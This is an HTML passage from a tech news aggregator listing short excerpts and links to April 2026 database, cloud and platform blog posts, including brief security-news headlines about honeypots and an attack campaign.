<h3 id="h3-managed-identity-in-azure-red-hat-openshift-deploy-in-just-a-few-clicks-with-the-azure-portal" class="group relative scroll-mt-24">
        <a href="#h3-managed-identity-in-azure-red-hat-openshift-deploy-in-just-a-few-clicks-with-the-azure-portal" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Managed identity in Azure Red Hat OpenShift: Deploy in just a few clicks with the Azure portal
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-managed-identity-in-azure-red-hat-openshift-deploy-in-just-a-few-clicks-with-the-azure-portal"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We recently announced the general availability (GA) of managed identity and workload identity for Microsoft Azure Red Hat OpenShift clusters. With this, users benefit from short-lived, limited permiss</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/managed-identity-azure-red-hat-openshift-portal"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-to-parallel-index-scan-in-ysql-for-temporal-joins" class="group relative scroll-mt-24">
        <a href="#h3-how-to-parallel-index-scan-in-ysql-for-temporal-joins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Parallel Index Scan in YSQL For Temporal Joins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-parallel-index-scan-in-ysql-for-temporal-joins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A common temporal join pattern in analytics used to require extra tweaks in distributed Postgres-compatible systems, but is no longer required due to full support for native PostgreSQL Parallel Query </p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/parallel-index-scan-in-ysql/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-accelerating-data-curation-with-google-data-cloud" class="group relative scroll-mt-24">
        <a href="#h3-accelerating-data-curation-with-google-data-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Accelerating data curation with Google Data Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-accelerating-data-curation-with-google-data-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the enterprise landscape, data is often highly fragmented across multiple source systems. Data curation is the process of organizing, cleaning, and enriching raw data to transform it into high-qual</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/data-analytics/data-curation-accelerators-for-google-data-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-near-100-accurate-data-for-your-agent-with-comprehensive-context-engineering" class="group relative scroll-mt-24">
        <a href="#h3-near-100-accurate-data-for-your-agent-with-comprehensive-context-engineering" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Near-100% Accurate Data for your Agent with Comprehensive Context Engineering
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-near-100-accurate-data-for-your-agent-with-comprehensive-context-engineering"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic workflows are already used for initiating action. To be successful, agents typically need to combine multiple steps and execute business logic reflective of real-life decisions. But, as develo</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/databases/how-to-get-your-agent-near-100-percent-accurate-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dotconnect-for-postgresql-91-new-release" class="group relative scroll-mt-24">
        <a href="#h3-dotconnect-for-postgresql-91-new-release" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 dotConnect for PostgreSQL 9.1: New Release
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dotconnect-for-postgresql-91-new-release"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Devart rolled out the new version of dotConnect for PostgreSQL with EF Core 10, AI Vector Types, and Expanded Database Compatibility. The list of enhancements: Support for Entity Framework Core 10 Add</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/dotconnect-for-postgresql-91-new-release-3260/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying" class="group relative scroll-mt-24">
        <a href="#h3-dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 DBConvert Streams 2.0 released with PostgreSQL CDC and cross-database querying
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DBConvert Streams 2.0 has been released, introducing a combined approach to PostgreSQL data migration, exploration, and real-time replication. The tool supports log-based Change Data Capture (CDC) usi</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying-3268/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-autobase-270-released" class="group relative scroll-mt-24">
        <a href="#h3-autobase-270-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Autobase 2.7.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-autobase-270-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This release brings a SQL editor directly into the Autobase console, along with automated index maintenance to keep your databases performing at their best without manual intervention. See the full li</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/autobase-270-released-3269/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-s3-is-the-new-network-rethinking-data-architecture-for-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-s3-is-the-new-network-rethinking-data-architecture-for-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 S3 is the New Network: Rethinking Data Architecture for AI Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-s3-is-the-new-network-rethinking-data-architecture-for-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. For decades, database designers have built distributed databas</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/s3-new-network-cloud-object-storage-database-architecture/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale" class="group relative scroll-mt-24">
        <a href="#h3-how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How I Learned to Stop Worrying About Overprovisioning and Love Elastic Scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Stop overprovisioning; true elastic scale lets you increase capacity fast, without latency spikes or wasted spend</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/09/how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agentic-ai-state-management-with-scylladb-and-langgraph" class="group relative scroll-mt-24">
        <a href="#h3-agentic-ai-state-management-with-scylladb-and-langgraph" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agentic AI State Management with ScyllaDB and LangGraph
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agentic-ai-state-management-with-scylladb-and-langgraph"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How to combine LangGraph and ScyllaDB for durable state management, crash recovery, and a highly available backend for your agentic AI applications.</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/08/agentic-ai-state-management-with-scylladb-and-langgraph/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-designing-a-semantic-routing-system-from-static-rules-to-dynamic-intelligence-with-redis-and-java" class="group relative scroll-mt-24">
        <a href="#h3-designing-a-semantic-routing-system-from-static-rules-to-dynamic-intelligence-with-redis-and-java" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Designing a semantic routing system: From static rules to dynamic intelligence with Redis and Java
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-designing-a-semantic-routing-system-from-static-rules-to-dynamic-intelligence-with-redis-and-java"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A semantic routing pattern is a powerful technique used in intelligent systems to classify incoming requests based on their meaning and direct them to the most appropriate processing path. Unlike trad</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/designing-a-semantic-routing-system/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mongodb-predictive-auto-scaling-an-experiment" class="group relative scroll-mt-24">
        <a href="#h3-mongodb-predictive-auto-scaling-an-experiment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 MongoDB Predictive Auto-Scaling: An Experiment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mongodb-predictive-auto-scaling-an-experiment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You can often predict a load spike before it arrives. Maybe it happens at the same time every day, or there’s always a spike at midnight on a Friday when you run a certain batch job. Or maybe it’s not</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/engineering/mongodb-predictive-auto-scaling-an-experiment"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-reducing-p999-latency-in-distributed-databases-with-tidb-85" class="group relative scroll-mt-24">
        <a href="#h3-reducing-p999-latency-in-distributed-databases-with-tidb-85" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Reducing P999 Latency in Distributed Databases with TiDB 8.5
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-reducing-p999-latency-in-distributed-databases-with-tidb-85"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Reducing P999 latency in distributed databases is one of the hardest challenges in modern OLTP systems. A handful of slow requests can cascade across services, break SLOs, and directly impact business</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-8-5-reduce-p999-latency-distributed-database/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-welcome-to-agents-week" class="group relative scroll-mt-24">
        <a href="#h3-welcome-to-agents-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Welcome to Agents Week
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-welcome-to-agents-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare&#39;s mission has always been to help build a better Internet. Sometimes that means building for the Internet as it exists. Sometimes it means building for the Internet as it&#39;s about to become.</p>
<p><strong>📅 Apr 12, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/welcome-to-agents-week/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-x8i-instances-are-now-available-in-europe-paris" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-x8i-instances-are-now-available-in-europe-paris" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 X8i instances are now available in Europe (Paris)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-x8i-instances-are-now-available-in-europe-paris"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Web Services (AWS) is announcing the general availability of Amazon EC2 X8i instances, next-generation memory optimized instances powered by custom Intel Xeon 6 processors available only on AWS</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-ec2-x8i-instances-CDG-region/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-500-tbps-of-capacity-16-years-of-scaling-our-global-network" class="group relative scroll-mt-24">
        <a href="#h3-500-tbps-of-capacity-16-years-of-scaling-our-global-network" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 500 Tbps of capacity: 16 years of scaling our global network
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-500-tbps-of-capacity-16-years-of-scaling-our-global-network"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare’s global network has officially crossed 500 Tbps of external capacity, enough to route more than 20% of the web and absorb the largest DDoS attacks ever recorded.</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/500-tbps-of-capacity/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-deadline-cloud-supports-monitor-creation-in-multiple-regions" class="group relative scroll-mt-24">
